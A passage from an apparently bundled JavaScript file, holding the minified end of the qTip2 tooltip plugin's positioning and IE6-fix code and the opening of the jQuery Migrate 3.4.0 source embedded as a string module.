"),T=A[0],S=A[1]||A[0],j=i.viewport,D=i.container,O={left:0,top:0},N,P,L,F,I,M,$,R;if(!j.jquery||w[0]===o||w[0]===a.body||E.method==="none"){return O}L=D.offset()||O;F=D.css("position")==="static";N=x.css("position")==="fixed";I=j[0]===o?j.width():j.outerWidth(n);M=j[0]===o?j.height():j.outerHeight(n);$={left:N?0:j.scrollLeft(),top:N?0:j.scrollTop()};R=j.offset()||O;function H(e,n,i,r,s,o,a,l,c){var f=t[s],d=k[e],h=C[e],p=i===y,v=d===s?c:d===o?-c:-c/2,b=h===s?l:h===o?-l:-l/2,_=$[s]+R[s]-(F?0:L[s]),w=_-f,x=f+c-(a===u?I:M)-_,E=v-(k.precedance===e||d===k[n]?b:0)-(h===g?l/2:0);if(p){E=(d===s?1:-1)*v;t[s]+=w>0?w:x>0?-x:0;t[s]=Math.max(-L[s]+R[s],f-E,Math.min(Math.max(-L[s]+R[s]+(a===u?I:M),f+E),t[s],d==="center"?f-v:1e9))}else{r*=i===m?2:0;if(w>0&&(d!==s||x>0)){t[s]-=E+r;P.invert(e,s)}else if(x>0&&(d!==o||w>0)){t[s]-=(d===g?-E:E)+r;P.invert(e,o)}if(t[s]<$[s]&&-t[s]>x){t[s]=f;P=k.clone()}}return t[s]-f}if(T!=="shift"||S!=="shift"){P=k.clone()}O={left:T!=="none"?H(r,s,T,E.x,d,p,u,l,b):0,top:S!=="none"?H(s,r,S,E.y,f,h,c,v,_):0,my:P};return O};k.polys={polygon:function(e,t){var i={width:0,height:0,position:{top:1e10,right:0,bottom:0,left:1e10},adjustable:n},r=0,s,o=[],a=1,l=1,u=0,c=0,v,m;r=e.length;while(r--){s=[parseInt(e[--r],10),parseInt(e[r+1],10)];if(s[0]>i.position.right){i.position.right=s[0]}if(s[0]<i.position.left){i.position.left=s[0]}if(s[1]>i.position.bottom){i.position.bottom=s[1]}if(s[1]<i.position.top){i.position.top=s[1]}o.push(s)}v=i.width=Math.abs(i.position.right-i.position.left);m=i.height=Math.abs(i.position.bottom-i.position.top);if(t.abbrev()==="c"){i.position={left:i.position.left+i.width/2,top:i.position.top+i.height/2}}else{while(v>0&&m>0&&a>0&&l>0){v=Math.floor(v/2);m=Math.floor(m/2);if(t.x===d){a=v}else if(t.x===p){a=i.width-v}else{a+=Math.floor(v/2)}if(t.y===f){l=m}else if(t.y===h){l=i.height-m}else{l+=Math.floor(m/2)}r=o.length;while(r--){if(o.length<2){break}u=o[r][0]-i.position.left;c=o[r][1]-i.position.top;if(t.x===d&&u>=a||t.x===p&&u<=a||t.x===g&&(u<a||u>i.width-a)||t.y===f&&c>=l||t.y===h&&c<=l||t.y===g&&(c<l||c>i.height-l)){o.splice(r,1)}}}i.position={left:o[0][0],top:o[0][1]}}return i},rect:function(e,t,n,i){return{width:Math.abs(n-e),height:Math.abs(i-t),position:{left:Math.min(e,n),top:Math.min(t,i)}}},_angles:{tc:3/2,tr:7/4,tl:5/4,bc:1/2,br:1/4,bl:3/4,rc:2,lc:1,c:0},ellipse:function(e,t,i,r,s){var o=k.polys._angles[s.abbrev()],a=o===0?0:i*Math.cos(o*Math.PI),l=r*Math.sin(o*Math.PI);return{width:i*2-Math.abs(a),height:r*2-Math.abs(l),position:{left:e+a,top:t+l},adjustable:n}},circle:function(e,t,n,i){return k.polys.ellipse(e,t,n,n,i)}};k.svg=function(t,i,r){var s=i[0],o=e(s.ownerSVGElement),l=s.ownerDocument,u=(parseInt(i.css("stroke-width"),10)||0)/2,c,f,d,h,p,g,v,m,y;while(!s.getBBox){s=s.parentNode}if(!s.getBBox||!s.parentNode){return n}switch(s.nodeName){case"ellipse":case"circle":m=k.polys.ellipse(s.cx.baseVal.value,s.cy.baseVal.value,(s.rx||s.r).baseVal.value+u,(s.ry||s.r).baseVal.value+u,r);break;case"line":case"polygon":case"polyline":v=s.points||[{x:s.x1.baseVal.value,y:s.y1.baseVal.value},{x:s.x2.baseVal.value,y:s.y2.baseVal.value}];for(m=[],g=-1,h=v.numberOfItems||v.length;++g<h;){p=v.getItem?v.getItem(g):v[g];m.push.apply(m,[p.x,p.y])}m=k.polys.polygon(m,r);break;default:m=s.getBBox();m={width:m.width,height:m.height,position:{left:m.x,top:m.y}};break}y=m.position;o=o[0];if(o.createSVGPoint){f=s.getScreenCTM();v=o.createSVGPoint();v.x=y.left;v.y=y.top;d=v.matrixTransform(f);y.left=d.x;y.top=d.y}if(l!==a&&t.position.target!=="mouse"){c=e((l.defaultView||l.parentWindow).frameElement).offset();if(c){y.left+=c.left;y.top+=c.top}}l=e(l);y.left+=l.scrollLeft();y.top+=l.scrollTop();return m};k.imagemap=function(t,i,r){if(!i.jquery){i=e(i)}var s=(i.attr("shape")||"rect").toLowerCase().replace("poly","polygon"),o=e('img[usemap="#'+i.parent("map").attr("name")+'"]'),a=e.trim(i.attr("coords")),l=a.replace(/,$/,"").split(","),u,c,f,d,h;if(!o.length){return n}if(s==="polygon"){d=k.polys.polygon(l,r)}else if(k.polys[s]){for(f=-1,h=l.length,c=[];++f<h;){c.push(parseInt(l[f],10))}d=k.polys[s].apply(this,c.concat(r))}else{return n}u=o.offset();u.left+=Math.ceil((o.outerWidth(n)-o.width())/2);u.top+=Math.ceil((o.outerHeight(n)-o.height())/2);d.position.left+=u.left;d.position.top+=u.top;return d};var Ae,Te='<iframe class="qtip-bgiframe" frameborder="0" tabindex="-1" src="javascript:\'\';" '+' style="display:block; position:absolute; z-index:-1; filter:alpha(opacity=0); '+'-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";"></iframe>';function Se(e){this._ns="ie6";this.qtip=e;this.init(e)}e.extend(Se.prototype,{_scroll:function(){var t=this.qtip.elements.overlay;t&&(t[0].style.top=e(o).scrollTop()+"px")},init:function(t){var n=t.tooltip;if(e("select, object").length<1){this.bgiframe=t.elements.bgiframe=e(Te).appendTo(n);t._bind(n,"tooltipmove",this.adjustBGIFrame,this._ns,this)}this.redrawContainer=e("<div/>",{id:C+"-rcontainer"}).appendTo(a.body);if(t.elements.overlay&&t.elements.overlay.addClass("qtipmodal-ie6fix")){t._bind(o,["scroll","resize"],this._scroll,this._ns,this);t._bind(n,["tooltipshow"],this._scroll,this._ns,this)}this.redraw()},adjustBGIFrame:function(){var e=this.qtip.tooltip,t={height:e.outerHeight(n),width:e.outerWidth(n)},i=this.qtip.plugins.tip,r=this.qtip.elements.tip,s,o;o=parseInt(e.css("borderLeftWidth"),10)||0;o={left:-o,top:-o};if(i&&r){s=i.corner.precedance==="x"?[u,d]:[c,f];o[s[1]]-=r[s[0]]()}this.bgiframe.css(o).css(t)},redraw:function(){if(this.qtip.rendered<1||this.drawing){return this}var e=this.qtip.tooltip,t=this.qtip.options.style,n=this.qtip.options.position.container,i,r,s,o;this.qtip.drawing=1;if(t.height){e.css(c,t.height)}if(t.width){e.css(u,t.width)}else{e.css(u,"").appendTo(this.redrawContainer);r=e.width();if(r%2<1){r+=1}s=e.css("maxWidth")||"";o=e.css("minWidth")||"";i=(s+o).indexOf("%")>-1?n.width()/100:0;s=(s.indexOf("%")>-1?i:1*parseInt(s,10))||r;o=(o.indexOf("%")>-1?i:1*parseInt(o,10))||0;r=s+o?Math.min(Math.max(r,o),s):r;e.css(u,Math.round(r)).appendTo(n)}this.drawing=0;return this},destroy:function(){this.bgiframe&&this.bgiframe.remove();this.qtip._unbind([o,this.qtip.tooltip],this._ns)}});Ae=k.ie6=function(e){return $.ie===6?new Se(e):n};Ae.initialize="render";x.ie6={"^content|style$":function(){this.redraw()}}}))})(window,document)},488:e=>{e.exports='/*!\n * jQuery Migrate - v3.4.0 - 2022-03-24T16:30Z\n * Copyright OpenJS Foundation and other contributors\n */\n( function( factory ) {\n\t"use strict";\n\n\tif ( typeof define === "function" && define.amd ) {\n\n\t\t// AMD. Register as an anonymous module.\n\t\tdefine( [ "jquery" ], function( jQuery ) {\n\t\t\treturn factory( jQuery, window );\n\t\t} );\n\t} else if ( typeof module === "object" && module.exports ) {\n\n\t\t// Node/CommonJS\n\t\t// eslint-disable-next-line no-undef\n\t\tmodule.exports = factory( require( "jquery" ), window );\n\t} else {\n\n\t\t// Browser globals\n\t\tfactory( jQuery, window );\n\t}\n} )( function( jQuery, window ) {\n"use strict";\n\njQuery.migrateVersion = "3.4.0";\n\n// Returns 0 if v1 == v2, -1 if v1 < v2, 1 if v1 > v2\nfunction compareVersions( v1, v2 ) {\n\tvar i,\n\t\trVersionParts = /^(\\d+)\\.(\\d+)\\.(\\d+)/,\n\t\tv1p = rVersionParts.exec( v1 ) || [ ],\n\t\tv2p = rVersionParts.exec( v2 ) || [ ];\n\n\tfor ( i = 1; i <= 3; i++ ) {\n\t\tif ( +v1p[ i ] > +v2p[ i ] ) {\n\t\t\treturn 1;\n\t\t}\n\t\tif ( +v1p[ i ] < +v2p[ i ] ) {\n\t\t\treturn -1;\n\t\t}\n\t}\n\treturn 0;\n}\n\nfunction jQueryVersionSince( version ) {\n\treturn compareVersions( jQuery.fn.jquery, version ) >= 0;\n}\n\n// A map from disabled patch codes to `true`. This should really\n// be a `Set` but those are unsupported in IE.\nvar disabledPatches = Object.create( null );\n\n// Don\'t apply patches for specified codes. Helpful for code bases\n// where some Migrate warnings have been addressed and it\'s desirable\n// to avoid needless patches or false positives.\njQuery.migrateDisablePatches = function() {\n\tvar i;\n\tfor ( i = 0; i < arguments.length; i++ ) {\n\t\tdisabledPatches[ arguments[ i ] ] = true;\n\t}\n};\n\n// Allow enabling patches disabled via `jQuery.migrateDisablePatches`.\n// Helpful if you want to disable a patch only for some code that won\'t\n// be updated soon to be able to focus on other warnings - and enable it\n// immediately after such a call:\n// ```js\n// jQuery.migrateDisablePatches( "workaroundA" );\n// elem.pluginViolatingWarningA( "pluginMethod" );\n// jQuery.migrateEnablePatches( "workaroundA" );\n// ```\njQuery.migrateEnablePatches = function() {\n\tvar i;\n\tfor ( i = 0; i < arguments.length; i++ ) {\n\t\tdelete disabledPatches[ arguments[ i ] ];\n\t}\n};\n\njQuery.migrateIsPatchEnabled = function( patchCode ) {\n\treturn !disabledPatches[ patchCode ];\n};\n\n( function() {\n\n\t// Support: IE9 only\n\t// IE9 only creates console object when dev tools are first opened\n\t// IE9 console is a host object, callable but doesn\'t have .apply()\n\tif ( !window.console || !window.console.log ) {\n\t\treturn;\n\t}\n\n\t// Need jQuery 3.0.0+ and no older Migrate loaded\n\tif ( !jQuery || !jQueryVersionSince( "3.0.0" ) ) {\n\t\twindow.console.log( "JQMIGRATE: jQuery 3.0.0+ REQUIRED" );\n\t}\n\tif ( jQuery.migrateWarnings ) {\n\t\twindow.console.log( "JQMIGRATE: Migrate plugin loaded multiple times" );\n\t}\n\n\t// Show a message on the console so devs know we\'re active\n\twindow.console.log( "JQMIGRATE: Migrate is installed" +\n\t\t( jQuery.migrateMute ? "" : " with logging active" ) +\n\t\t", version " + jQuery.migrateVersion );\n\n} )();\n\nvar warnedAbout = {};\n\n// By default each warning is only reported once.\njQuery.migrateDeduplicateWarnings = true;\n\n// List of warnings already given; public read only\njQuery.migrateWarnings = [];\n\n// Set to false to disable traces that appear with warnings\nif ( jQuery.migrateTrace === undefined ) {\n\tjQuery.migrateTrace = true;\n}\n\n// Forget any warnings we\'ve already given; public\njQuery.migrateReset = function() {\n\twarnedAbout = {};\n\tjQuery.migrateWarnings.length = 0;\n};\n\nfunction migrateWarn( code, msg ) {\n\tvar console = window.console;\n\tif ( jQuery.migrateIsPatchEnabled( code ) &&\n\t\t( !jQuery.migrateDeduplicateWarnings || !warnedAbout[ msg ] ) ) {\n\t\twarnedAbout[ msg ] = true;\n\t\tjQuery.migrateWarnings.push( msg + " [" + code + "]" );\n\t\tif ( console && console.warn && !jQuery.migrateMute ) {\n\t\t\tconsole.warn( "JQMIGRATE: " + msg );\n\t\t\tif ( jQuery.migrateTrace && console.trace ) {\n\t\t\t\tconsole.trace();\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction migrateWarnProp( obj, prop, value, code, msg ) {\n\tObject.defineProperty( obj, prop, {\n\t\tconfigurable: true,\n\t\tenumerable: true,\n\t\tget: function() {\n\t\t\tmigrateWarn( code, msg );\n\t\t\treturn value;\n\t\t},\n\t\tset: function( newValue ) {\n\t\t\tmigrateWarn( code, msg );\n\t\t\tvalue = newValue;\n\t\t}\n\t} );\n}\n\nfunction migrateWarnFuncInternal( obj, prop, newFunc, code, msg ) {\n\tvar finalFunc,\n\t\torigFunc = obj[ prop ];\n\n\tobj[ prop ] = function() {\n\n\t\t// If `msg` not provided, do not warn; more sophisticated warnings\n\t\t// logic is most likely embedded in `newFunc`, in that case here\n\t\t// we just care about the logic choosing the proper implementation\n\t\t// based on whether the patch is disabled or not.\n\t\tif ( msg ) {\n\t\t\tmigrateWarn( code, msg );\n\t\t}\n\n\t\t// Since patches can be disabled & enabled dynamically, we\n\t\t// need to decide which implementation to run on each invocation.\n\t\tfinalFunc = jQuery.migrateIsPatchEnabled( code ) ?\n\t\t\tnewFunc :\n\n\t\t\t// The function may not have existed originally so we need a fallback.\n\t\t\t( origFunc || jQuery.noop );\n\n\t\treturn finalFunc.apply( this, arguments );\n\t};\n}\n\nfunction migratePatchAndWarnFunc( obj, prop, newFunc, code, msg ) {\n\tif ( !msg ) {\n\t\tthrow new Error( "No warning message provided" );\n\t}\n\treturn migrateWarnFuncInternal( obj, prop, newFunc, code, msg );\n}\n\nfunction migratePatchFunc( obj, prop, newFunc, code ) {\n\treturn migrateWarnFuncInternal( obj, prop, newFunc, code );\n}\n\nif ( window.document.compatMode === "BackCompat" ) {\n\n\t// jQuery has never supported or tested Quirks Mode\n\tmigrateWarn( "quirks", "jQuery is not compatible with Quirks Mode" );\n}\n\nvar findProp,\n\tclass2type = {},\n\toldInit = jQuery.fn.init,\n\toldFind = jQuery.find,\n\n\trattrHashTest = /\\[(\\s*[-\\w]+\\s*)([~|^$*]?=)\\s*([-\\w#]*?#[-\\w#]*)\\s*\\]/,\n\trattrHashGlob = /\\[(\\s*[-\\w]+\\s*)([~|^$*]?=)\\s*([-\\w#]*?#[-\\w#]*)\\s*\\]/g,\n\n\t// Support: Android <=4.0 only\n\t// Make sure we trim BOM and NBSP\n\trtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;\n\nmigratePatchFunc( jQuery.fn, "init", function( arg1 ) {\n\tvar args = Array.prototype.slice.call( arguments );\n\n\tif ( jQuery.migrateIsPatchEnabled( "selector-empty-id" ) &&\n\t\ttypeof arg1 === "string" && arg1 === "#" ) {\n\n\t\t// JQuery( "#" ) is a bogus ID selector, but it returned an empty set\n\t\t// before jQuery 3.0\n\t\tmigrateWarn( "selector-empty-id", "jQuery( \'#\' ) is not a valid selector" );\n\t\targs[ 0 ] = [];\n\t}\n\n\treturn oldInit.apply( this, args );\n}, "selector-empty-id" );\n\n// This is already done in Core but the above patch will lose this assignment\n// so we need to redo it. It doesn\'t matter whether the patch is enabled or not\n// as the method is always going to be a Migrate-created wrapper.\njQuery.fn.init.prototype = jQuery.fn;\n\nmigratePatchFunc( jQuery, "find", function( selector ) {\n\tvar args = Array.prototype.slice.call( arguments );\n\n\t// Support: PhantomJS 1.x\n\t// String#match fails to match when used with a //g RegExp, only on some strings\n\tif ( typeof selector === "string" && rattrHashTest.test( selector ) ) {\n\n\t\t// The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0\n\t\t// First see if qS thinks it\'s a valid selector, if so avoid a false positive\n\t\ttry {\n\t\t\twindow.document.querySelector( selector );\n\t\t} catch ( err1 ) {\n\n\t\t\t// Didn\'t *look* valid to qSA, warn and try quoting what we think is the value\n\t\t\tselector = selector.replace( rattrHashGlob, function( _, attr, op, value ) {\n\t\t\t\treturn "[" + attr + op + "\\"" + value + "\\"]";\n\t\t\t} );\n\n\t\t\t// If the regexp *may* have created an invalid selector, don\'t update it\n\t\t\t// Note that there may be false alarms if selector uses jQuery extensions\n\t\t\ttry {\n\t\t\t\twindow.document.querySelector( selector );\n\t\t\t\tmigrateWarn( "selector-hash",\n\t\t\t\t\t"Attribute selector with \'#\' must be quoted: " + args[ 0 ] );\n\t\t\t\targs[ 0 ] = selector;\n\t\t\t} catch ( err2 ) {\n\t\t\t\tmigrateWarn( "selector-hash",\n\t\t\t\t\t"Attribute selector with \'#\' was not fixed: " + args[ 0 ] );\n\t\t\t}\n\t\t}\n\t}\n\n\treturn oldFind.apply( this, args );\n}, "selector-hash" );\n\n// Copy properties attached to original jQuery.find method (e.g. .attr, .isXML)\nfor ( findProp in oldFind ) {\n\tif ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) {\n\t\tjQuery.find[ findProp ] = oldFind[ findProp ];\n\t}\n}\n\n// The number of elements contained in the matched element set\nmigratePatchAndWarnFunc( jQuery.fn, "size", function() {\n\treturn this.length;\n}, "size",\n"jQuery.fn.size() is deprecated and removed; use the .length property" );\n\nmigratePatchAndWarnFunc( jQuery, "parseJSON", function() {\n\treturn JSON.parse.apply( null, arguments );\n}, "parseJSON",\n"jQuery.parseJSON is deprecated; use JSON.parse" );\n\nmigratePatchAndWarnFunc( jQuery, "holdReady", jQuery.holdReady,\n\t"holdReady", "jQuery.holdReady is deprecated" );\n\nmigratePatchAndWarnFunc( jQuery, "unique", jQuery.uniqueSort,\n\t"unique", "jQuery.unique is deprecated; use jQuery.uniqueSort" );\n\n// Now jQuery.expr.pseudos is the standard incantation\nmigrateWarnProp( jQuery.expr, "filters", jQuery.expr.pseudos, "expr-pre-pseudos",\n\t"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos" );\nmigrateWarnProp( jQuery.expr, ":", jQuery.expr.pseudos, "expr-pre-pseudos",\n\t"jQuery.expr[\':\'] is deprecated; use jQuery.expr.pseudos" );\n\n// Prior to jQuery 3.1.1 there were internal refs so we don\'t warn there\nif ( jQueryVersionSince( "3.1.1" ) ) {\n\tmigratePatchAndWarnFunc( jQuery, "trim", function( text ) {\n\t\treturn text == null ?\n\t\t\t"" :\n\t\t\t( text + "" ).replace( rtrim, "" );\n\t}, "trim",\n\t"jQuery.trim is deprecated; use String.prototype.trim" );\n}\n\n// Prior to jQuery 3.2 there were internal refs so we don\'t warn there\nif ( jQueryVersionSince( "3.2.0" ) ) {\n\tmigratePatchAndWarnFunc( jQuery, "nodeName", function( elem, name ) {\n\t\treturn elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n\t}, "nodeName",\n\t"jQuery.nodeName is deprecated" );\n\n\tmigratePatchAndWarnFunc( jQuery, "isArray", Array.isArray, "isArray",\n\t\t"jQuery.isArray is deprecated; use Array.isArray"\n\t);\n}\n\nif ( jQueryVersionSince( "3.3.0" ) ) {\n\n\tmigratePatchAndWarnFunc( jQuery, "isNumeric", function( obj ) {\n\n\t\t\t// As of jQuery 3.0, isNumeric is limited to\n\t\t\t// strings and numbers (primitives or objects)\n\t\t\t// that can be coerced to finite numbers (gh-2662)\n\t\t\tvar type = typeof obj;\n\t\t\treturn ( type === "number" || type === "string" ) &&\n\n\t\t\t\t// parseFloat NaNs numeric-cast false positives ("")\n\t\t\t\t// ...but misinterprets leading-number strings, e.g. hex literals ("0x...")\n\t\t\t\t// subtraction forces infinities to NaN\n\t\t\t\t!isNaN( obj - parseFloat( obj ) );\n\t\t}, "isNumeric",\n\t\t"jQuery.isNumeric() is deprecated"\n\t);\n\n\t// Populate the class2type map\n\tjQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".\n\t\tsplit( " " ),\n\tfunction( _, name ) {\n\t\tclass2type[ "[object " + name + "]" ] = name.toLowerCase();\n\t} );\n\n\tmigratePatchAndWarnFunc( jQuery, "type", function( obj ) {\n\t\tif ( obj == null ) {\n\t\t\treturn obj + "";\n\t\t}\n\n\t\t// Support: Android <=2.3 only (functionish RegExp)\n\t\treturn typeof obj === "object" || typeof obj === "function" ?\n\t\t\tclass2type[ Object.prototype.toString.call( obj ) ] || "object" :\n\t\t\ttypeof obj;\n\t}, "type",\n\t"jQuery.type is deprecated" );\n\n\tmigratePatchAndWarnFunc( jQuery, "isFunction",\n\t\tfunction( obj ) {\n\t\t\treturn typeof obj === "function";\n\t\t}, "isFunction",\n\t\t"jQuery.isFunction() is deprecated" );\n\n\tmigratePatchAndWarnFunc( jQuery, "isWindow",\n\t\tfunction( obj ) {\n\t\t\treturn obj != null && obj === obj.window;\n\t\t}, "isWindow",\n\t\t"jQuery.isWindow() is deprecated"\n\t);\n}\n\n// Support jQuery slim which excludes the ajax module\nif ( jQuery.ajax ) {\n\nvar oldAjax = jQuery.ajax,\n\trjsonp = /(=)\\?(?=&|$)|\\?\\?/;\n\nmigratePatchFunc( jQuery, "ajax", function() {\n\tvar jQXHR = oldAjax.apply( this, arguments );\n\n\t// Be sure we got a jQXHR (e.g., not sync)\n\tif ( jQXHR.promise ) {\n\t\tmigratePatchAndWarnFunc( jQXHR, "success", jQXHR.done, "jqXHR-methods",\n\t\t\t"jQXHR.success is deprecated and removed" );\n\t\tmigratePatchAndWarnFunc( jQXHR, "error", jQXHR.fail, "jqXHR-methods",\n\t\t\t"jQXHR.error is deprecated and removed" );\n\t\tmigratePatchAndWarnFunc( jQXHR, "complete", jQXHR.always, "jqXHR-methods",\n\t\t\t"jQXHR.complete is deprecated and removed" );\n\t}\n\n\treturn jQXHR;\n}, "jqXHR-methods" );\n\n// Only trigger the logic in jQuery <4 as the JSON-to-JSONP auto-promotion\n// behavior is gone in jQuery 4.0 and as it has security implications, we don\'t\n// want to restore the legacy behavior.\nif ( !jQueryVersionSince( "4.0.0" ) ) {\n\n\t// Register this prefilter before the jQuery one. Otherwise, a promoted\n\t// request is transformed into one with the script dataType and we can\'t\n\t// catch it anymore.\n\tjQuery.ajaxPrefilter( "+json", function( s ) {\n\n\t\t// Warn if JSON-to-JSONP auto-promotion happens.\n\t\tif ( s.jsonp !== false && ( rjsonp.test( s.url ) ||\n\t\t\t\ttypeof s.data === "string" &&\n\t\t\t\t( s.contentType || "" )\n\t\t\t\t\t.indexOf( "application/x-www-form-urlencoded" ) === 0 &&\n\t\t\t\trjsonp.test( s.data )\n\t\t) ) {\n\t\t\tmigrateWarn( "jsonp-promotion", "JSON-to-JSONP auto-promotion is deprecated" );\n\t\t}\n\t} );\n}\n\n}\n\nvar oldRemoveAttr = jQuery.fn.removeAttr,\n\toldToggleClass = jQuery.fn.toggleClass,\n\trmatchNonSpace = /\\S+/g;\n\nmigratePatchFunc( jQuery.fn, "removeAttr", function( name ) {\n\tvar self = this;\n\n\tjQuery.each( name.match( rmatchNonSpace ), function( _i, attr ) {\n\t\tif ( jQuery.expr.match.bool.test( attr ) ) {\n\t\t\tmigrateWarn( "removeAttr-bool",\n\t\t\t\t"jQuery.fn.removeAttr no longer sets boolean properties: " + attr );\n\t\t\tself.prop( attr, false );\n\t\t}\n\t} );\n\n\treturn oldRemoveAttr.apply( this, arguments );\n}, "removeAttr-bool" );\n\nmigratePatchFunc( jQuery.fn, "toggleClass", function( state ) {\n\n\t// Only deprecating no-args or single boolean arg\n\tif ( state !== undefined && typeof state !== "boolean" ) {\n\n\t\treturn oldToggleClass.apply( this, arguments );\n\t}\n\n\tmigrateWarn( "toggleClass-bool", "jQuery.fn.toggleClass( boolean ) is deprecated" );\n\n\t// Toggle entire class name of each element\n\treturn this.each( function() {\n\t\tvar className = this.getAttribute && this.getAttribute( "class" ) || "";\n\n\t\tif ( className ) {\n\t\t\tjQuery.data( this, "__className__", className );\n\t\t}\n\n\t\t// If the element has a class name or if we\'re passed `false`,\n\t\t// then remove the whole classname (if there was one, the above saved it).\n\t\t// Otherwise bring back whatever was previously saved (if anything),\n\t\t// falling back to the empty string if nothing was stored.\n\t\tif ( this.setAttribute ) {\n\t\t\tthis.setAttribute( "class",\n\t\t\t\tclassName || state === false ?\n\t\t\t\t"" :\n\t\t\t\tjQuery.data( this, "__className__" ) || ""\n\t\t\t);\n\t\t}\n\t} );\n}, "toggleClass-bool" );\n\nfunction camelCase( string ) {\n\treturn string.replace( /-([a-z])/g, function( _, letter ) {\n\t\treturn letter.toUpperCase();\n\t} );\n}\n\nvar origFnCss,\n\tinternalSwapCall = false,\n\tralphaStart = /^[a-z]/,\n\n\t// The regex visualized:\n\t//\n\t// /----------\\\n\t// | | /-------\\\n\t// | / Top \\ | | |\n\t// /--- Border ---+-| Right |-+---+- Width -+---\\\n\t// | | Bottom | |\n\t// | \\ Left / |\n\t// | |\n\t// | /----------\\ |\n\t// | /-------------\\ | | |- END\n\t// | | | | / Top \\ | |\n\t// | | / Margin \\ | | | Right | | |\n\t// |---------+-| |-+---+-| Bottom |-+----|\n\t// | \\ Padding / \\ Left / |\n\t// BEGIN -| |\n\t// | /---------\\ |\n\t// | | | |\n\t// | | / Min \\ | / Width \\ |\n\t// \\--------------+-| |-+---| |---/\n\t// \\ Max / \\ Height /\n\trautoPx = /^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;\n\n// If this version of jQuery has .swap(), don\'t false-alarm on internal uses\nif ( jQuery.swap ) {\n\tjQuery.each( [ "height", "width", "reliableMarginRight" ], function( _, name ) {\n\t\tvar oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get;\n\n\t\tif ( oldHook ) {\n\t\t\tjQuery.cssHooks[ name ].get = function() {\n\t\t\t\tvar ret;\n\n\t\t\t\tinternalSwapCall = true;\n\t\t\t\tret = oldHook.apply( this, arguments );\n\t\t\t\tinternalSwapCall = false;\n\t\t\t\treturn ret;\n\t\t\t};\n\t\t}\n\t} );\n}\n\nmigratePatchFunc( jQuery, "swap", function( elem, options, callback, args ) {\n\tvar ret, name,\n\t\told = {};\n\n\tif ( !internalSwapCall ) {\n\t\tmigrateWarn( "swap", "jQuery.swap() is undocumented and deprecated" );\n\t}\n\n\t// Remember the old values, and insert the new ones\n\tfor ( name in options ) {\n\t\told[ name ] = elem.style[ name ];\n\t\telem.style[ name ] = options[ name ];\n\t}\n\n\tret = callback.apply( elem, args || [] );\n\n\t// Revert the old values\n\tfor ( name in options ) {\n\t\telem.style[ name ] = old[ name ];\n\t}\n\n\treturn ret;\n}, "swap" );\n\nif ( jQueryVersionSince( "3.4.0" ) && typeof Proxy !== "undefined" ) {\n\tjQuery.cssProps = new Proxy( jQuery.cssProps || {}, {\n\t\tset: function() {\n\t\t\tmigrateWarn( "cssProps", "jQuery.cssProps is deprecated" );\n\t\t\treturn Reflect.set.apply( this, arguments );\n\t\t}\n\t} );\n}\n\n// In jQuery >=4 where jQuery.cssNumber is missing fill it with the latest 3.x version:\n// https://github.com/jquery/jquery/blob/3.6.0/src/css.js#L212-L233\n// This way, number values for the CSS properties below won\'t start triggering\n// Migrate warnings when jQuery gets updated to >=4.0.0 (gh-438).\nif ( jQueryVersionSince( "4.0.0" ) && typeof Proxy !== "undefined" ) {\n\tjQuery.cssNumber = new Proxy( {\n\t\tanimationIterationCount: true,\n\t\tcolumnCount: true,\n\t\tfillOpacity: true,\n\t\tflexGrow: true,\n\t\tflexShrink: true,\n\t\tfontWeight: true,\n\t\tgridArea: true,\n\t\tgridColumn: true,\n\t\tgridColumnEnd: true,\n\t\tgridColumnStart: true,\n\t\tgridRow: true,\n\t\tgridRowEnd: true,\n\t\tgridRowStart: true,\n\t\tlineHeight: true,\n\t\topacity: true,\n\t\torder: true,\n\t\torphans: true,\n\t\twidows: true,\n\t\tzIndex: true,\n\t\tzoom: true\n\t}, {\n\t\tget: function() {\n\t\t\tmigrateWarn( "css-number", "jQuery.cssNumber is deprecated" );\n\t\t\treturn Reflect.get.apply( this, arguments );\n\t\t},\n\t\tset: function() {\n\t\t\tmigrateWarn( "css-number", "jQuery.cssNumber is deprecated" );\n\t\t\treturn Reflect.set.apply( this, arguments );\n\t\t}\n\t} );\n}\n\nfunction isAutoPx( prop ) {\n\n\t// The first test is used to ensure that:\n\t// 1. The prop starts with a lowercase letter (as we uppercase it for the second regex).\n\t// 2. The prop is not empty.\n\treturn ralphaStart.test( prop ) &&\n\t\trautoPx.test( prop[ 0 ].toUpperCase() + prop.slice( 1 ) );\n}\n\norigFnCss = jQuery.fn.css;\n\nmigratePatchFunc( jQuery.fn, "css", function( name, value ) {\n\tvar camelName,\n\t\torigThis = this;\n\n\tif ( name && typeof name === "object" && !Array.isArray( name ) ) {\n\t\tjQuery.each( name, function( n, v ) {\n\t\t\tjQuery.fn.css.call( origThis, n, v );\n\t\t} );\n\t\treturn this;\n\t}\n\n\tif ( typeof value === "number" ) {\n\t\tcamelName = camelCase( name );\n\t\tif ( !isAutoPx( camelName ) && !jQuery.cssNumber[ camelName ] ) {\n\t\t\tmigrateWarn( "css-number",\n\t\t\t\t"Number-typed values are deprecated for jQuery.fn.css( \\"" +\n\t\t\t\tname + "\\", value )" );\n\t\t}\n\t}\n\n\treturn origFnCss.apply( this, arguments );\n}, "css-number" );\n\nvar origData = jQuery.data;\n\nmigratePatchFunc( jQuery, "data", function( elem, name, value ) {\n\tvar curData, sameKeys, key;\n\n\t// Name can be an object, and each entry in the object is meant to be set as data\n\tif ( name && typeof name === "object" && arguments.length === 2 ) {\n\n\t\tcurData = jQuery.hasData( elem ) && origData.call( this, elem );\n\t\tsameKeys = {};\n\t\tfor ( key in name ) {\n\t\t\tif ( key !== camelCase( key ) ) {\n\t\t\t\tmigrateWarn( "data-camelCase",\n\t\t\t\t\t"jQuery.data() always sets/gets camelCased names: " + key );\n\t\t\t\tcurData[ key ] = name[ key ];\n\t\t\t} else {\n\t\t\t\tsameKeys[ key ] = name[ key ];\n\t\t\t}\n\t\t}\n\n\t\torigData.call( this, elem, sameKeys );\n\n\t\treturn 